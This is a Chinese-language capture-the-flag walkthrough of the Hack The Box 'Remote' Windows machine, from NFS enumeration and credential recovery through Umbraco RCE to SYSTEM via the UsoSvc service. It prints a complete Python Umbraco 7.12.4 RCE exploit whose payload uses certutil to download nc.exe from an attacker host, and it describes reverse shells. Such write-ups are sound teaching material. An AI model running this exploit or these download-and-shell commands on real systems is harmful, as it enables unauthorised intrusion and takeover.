• Hack The Box——Remote


    目录

    简介

    信息收集

    漏洞发现

    漏洞利用

    权限提升

    总结


    简介

    这是一个简单的Windows Server 2019靶机,要成功获得SYSTEM权限需要不懈的尝试。通过浏览Web站点发现Umbraco CMS登录入口,然后在2049端口发现NFS服务并发现共享文件夹,在共享文件夹中发现了Umbraco CMS的版本信息、用户名和密码,然后可以登录CMS系统,利用已知的远程代码执行漏洞反弹Shell,通过枚举运行的服务发现不安全的服务权限,最后通过修改服务调用的程序获得SYSTEM权限。

    信息收集

    使用Nmap扫描目标主机发现目标主机开启21,80,111,135,139和445端口,且操作系统极有可能是Windows Server 2012,如图:

    尝试使用匿名用户登录ftp成功,如图:

    但是没发现任何文件,访问80端口发现网站中有一些博客,如图:

    查看网站的同时扫描web目录,发现一些aspx文件,如图:

    然而并没用什么有用的信息,然后继续浏览网站其他功能,点击CONTACT按钮后发现一个Umbraco Forms安装的界面,如图:

    点击按钮之后跳转到了登录页面,如图:

    尝试常见弱口令无法登录成功,枚举用户名和密码也没成功。使用Google搜索该CMS发现存在用户名枚举、文件上传、远程代码执行和文件包含等漏洞,但需要知道用户名和密码。然后查看Nmap扫描结果发现111端口挂载了NFS服务,使用showmount查看目标主机NFS共享的文件夹,发现存在everyone可访问的/site_backups文件夹,然后将其挂载到本地,如图:

    查看site_backups文件夹中的信息,查看Web.conf文件发现Umbraco版本信息、使用的数据库信息和smtp的用户名和密码,如图:

    在/site_backups/App_Data下发现Umbraco.sdf文件,SqlServerCe文件,复制到Windows环境中使用CompactView等工具查看无果。然后在site_backups/App_Data/Logs下的UmbracoTraceLog.intranet.txt中发现两个用户成功登录,如图:

    然后在UmbracoTraceLog.intranet.txt.2020-02-19中再次发现版本信息,如图:

    直接使用记事本打开Umbraco.sdf文件,查找admin@htb.local和ssmith@htb.local,发现有字符串疑似经过SHA1和HMACSHA256算法生成的hash值,如图:

    使用在线MD5解密,如图:

    然后使用admin@htb.local和baconandcheese登录Umbraco CMS,如图:

    漏洞发现

    从前面收集到的信息可以发现可以利用远程代码执行漏洞,需要修改payload替换calc.exe为cmd.exe,添加程序参数为/c wget http://10.10.14.216/nc.exe c:windows emp c.exe,然而并未执行成功,使用curl、certutil也都未成功。尝试手工验证漏洞是否存在,访问http://10.10.10.180/umbraco/developer/Xslt/xsltVisualize.aspx,如图:

    点击绿色按钮,用BurpSuite截取数据包,添加参数ctl00$body$xsltSelection的值为修改后的payload,添加Console.WriteLine(output)将执行后的结果输出到网页中,如图:

    执行之后成功返回执行的结果,如图:

    看来漏洞是存在的。

    漏洞利用

    然后修改Exp如下:

    # Exploit Title: Umbraco CMS - Remote Code Execution by authenticated administrators
    # Dork: N/A
    # Date: 2019-01-13
    # Exploit Author: Gregory DRAPERI & Hugo BOUTINON
    # Vendor Homepage: http://www.umbraco.com/
    # Software Link: https://our.umbraco.com/download/releases
    # Version: 7.12.4
    # Category: Webapps
    # Tested on: Windows IIS
    # CVE: N/A
    
    
    import requests;
    
    from bs4 import BeautifulSoup;
    
    def print_dict(dico):
        print(dico.items());
        
    print("Start");
    
    # Execute a calc for the PoC
    payload = """<?xml version="1.0"?>
    <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:csharp_user="http://csharp.mycompany.com/mynamespace">
    <msxsl:script language="C#" implements-prefix="csharp_user">
    public string xml()
    { string cmd = "/c certutil -urlcache -split -f http://10.10.14.216/nc.exe c:/windows/temp/nc.exe"; System.Diagnostics.Process proc = new System.Diagnostics.Process();
     proc.StartInfo.FileName = "cmd.exe"; proc.StartInfo.Arguments = cmd;
     proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true; 
     proc.Start(); string output = proc.StandardOutput.ReadToEnd(); return output;Console.WriteLine(output); } 
     </msxsl:script>
    <xsl:template match="/">
    <xsl:value-of select="csharp_user:xml()"/>
     </xsl:template> 
    </xsl:stylesheet> """;
    
    login = "admin@htb.local";
    password="baconandcheese";
    host = "http://10.10.10.180";
    
    # Step 1 - Get Main page
    s = requests.session()
    url_main =host+"/umbraco/";
    r1 = s.get(url_main);
    print_dict(r1.cookies);
    
    # Step 2 - Process Login
    url_login = host+"/umbraco/backoffice/UmbracoApi/Authentication/PostLogin";
    loginfo = {"username":login,"password":password};
    r2 = s.post(url_login,json=loginfo);
    
    # Step 3 - Go to vulnerable web page
    url_xslt = host+"/umbraco/developer/Xslt/xsltVisualize.aspx";
    r3 = s.get(url_xslt);
    
    soup = BeautifulSoup(r3.text, 'html.parser');
    VIEWSTATE = soup.find(id="__VIEWSTATE")['value'];
    VIEWSTATEGENERATOR = soup.find(id="__VIEWSTATEGENERATOR")['value'];
    UMBXSRFTOKEN = s.cookies['UMB-XSRF-TOKEN'];
    headers = {'UMB-XSRF-TOKEN':UMBXSRFTOKEN};
    data = {"__EVENTTARGET":"","__EVENTARGUMENT":"","__VIEWSTATE":VIEWSTATE,"__VIEWSTATEGENERATOR":VIEWSTATEGENERATOR,"ctl00$body$xsltSelection":payload,"ctl00$body$contentPicker$ContentIdValue":"","ctl00$body$visualizeDo":"Visualize+XSLT"};
    
    # Step 4 - Launch the attack
    r4 = s.post(url_xslt,data=data,headers=headers);
    soup = BeautifulSoup(r4.text, 'html.parser');
    print(soup.find(id="result"))
    print("End");

    使用python3开启80端口的监听,运行脚本后命令执行成功,成功将nc.exe上传到目标主机c:windows emp下,如图:

    然后在本地开启4444端口监听,修改payload中的参数,如图:

    执行脚本之后成功获得反弹的Shell,如图:

    权限提升

    查看操作系统信息发现是Windows Server 2019 x64,且安装了5个补丁,暂且不考虑内核漏洞提权了,如图:

    然后查看当前用户的权限,如图 

    由于JuicyPotato没有Windows Server 2019的CLSID,因此无法利用其提权。使用wmic service where started=true get name, startname查看启动的服务,如图:

    然后使用sc命令枚举存在缺陷的服务,发现UsoSvc服务可以被当前用户控制,尝试修改binpath属性的值为反弹Shell的脚本,然后启动服务发生错误,如图:

    尝试直接调用nc.exe进行反弹Shell发现成功启动服务依旧出现错误,但反弹Shell的命令被执行之后立即中断了,如图:

    然后使用MSF生成反弹Shell的exe文件,如图:

    上传执行之后依旧报错,但监听的端口成功获得SYSTEM权限的Shell,如图:

    总结

    总的来说该靶机非常简单,但依旧会花费很多时间,也可能会在一些地方找不到思路。首先,有些人可能容易找不到CMS系统的用户名和密码,读取sdf文件的数据花了点时间,没想到可以使用最简单的方法查看到文件中有效的内容。其次就是提权需要大量枚举,一定要坚持下去。

  • 相关阅读:
    C#中sizeof的用法
    C#托管堆对象实例包含什么
    C#引用类型转换的几种方式
    C#中结构(struct)的部分初始化和完全初始化
    C#值类型装箱后能改变其值吗
    C#程序集系列13,如何让CLR选择不同版本的程序集
    C#程序集系列12,C#编译器和CLR如何找寻程序集
    C#程序集系列11,全局程序集缓存
    C#程序集系列10,强名称程序集
    C#程序集系列09,程序集签名
  • 原文地址:https://www.cnblogs.com/hzcya1995/p/13302353.html
Copyright © 2020-2023  润新知